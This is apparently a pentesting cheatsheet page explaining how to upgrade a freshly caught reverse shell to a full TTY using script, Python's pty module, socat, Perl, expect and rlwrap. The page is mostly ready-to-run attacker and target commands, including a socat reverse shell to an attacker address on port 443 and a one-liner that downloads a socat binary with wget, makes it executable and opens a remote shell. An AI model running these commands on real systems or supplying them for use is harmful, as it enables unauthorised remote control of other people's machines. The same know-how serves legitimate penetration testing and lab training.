Upgrade your shell to a full TTY

A freshly caught reverse shell dies on Ctrl+C and has no tab completion. Follow the steps in order; the "Your values" panel fills in your rows and columns (check them with stty size in another terminal).

Your values Saved in this browser and applied to every cheatsheet.

With script

The most reliable method on Linux. script is almost always installed (util-linux / bsdutils package).

Step by step

1. Spawn a pseudo-terminal Target
script /dev/null -c bash
2. Send the shell to the background Keys
Ctrl+Z
3. Put your terminal in raw mode and go back to the shell Attacker
stty raw -echo; fg

In zsh type it exactly like this, on one line. You will not see what you type after Enter; that is expected.

4. Reset the terminal Target
reset xterm

If it asks "Terminal type?", type xterm.

5. Environment variables Target
export TERM=xterm-256color SHELL=bash
6. Fix the size Target
stty rows 44 columns 184

Before step 6

Check your terminal size (in another tab) Attacker
stty size

Python

Same as with script, but spawning the pseudo-terminal with the pty module. Use python if python3 is missing.

Step by step

1. Spawn a pseudo-terminal Target
python3 -c 'import pty; pty.spawn("/bin/bash")'
2. Send the shell to the background Keys
Ctrl+Z
3. Raw mode and back Attacker
stty raw -echo; fg
4. Terminal, environment and size Target
reset xterm
export TERM=xterm-256color SHELL=bash
stty rows 44 columns 184

socat

Gives a full TTY from the start with no extra steps. You need socat on the target (you can upload a static binary).

Connection

Listen Attacker
socat file:`tty`,raw,echo=0 tcp-listen:443
Connect Target
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443
Upload static socat and connect Target
wget -q http://10.10.14.5/socat -O /tmp/socat && chmod +x /tmp/socat && /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443

Other cases

Without Python or script

Perl Target
perl -e 'exec "/bin/bash";'
Expect Target
expect -c 'spawn bash; interact'

Windows

History and arrows with rlwrap Attacker
rlwrap -cAr nc -lvnp 443

For a real TTY on Windows use ConPtyShell (see the reverse shell cheatsheet).

If something breaks

Your terminal is messed up after exiting Attacker
reset
Check you now have a TTY Target
tty; echo $TERM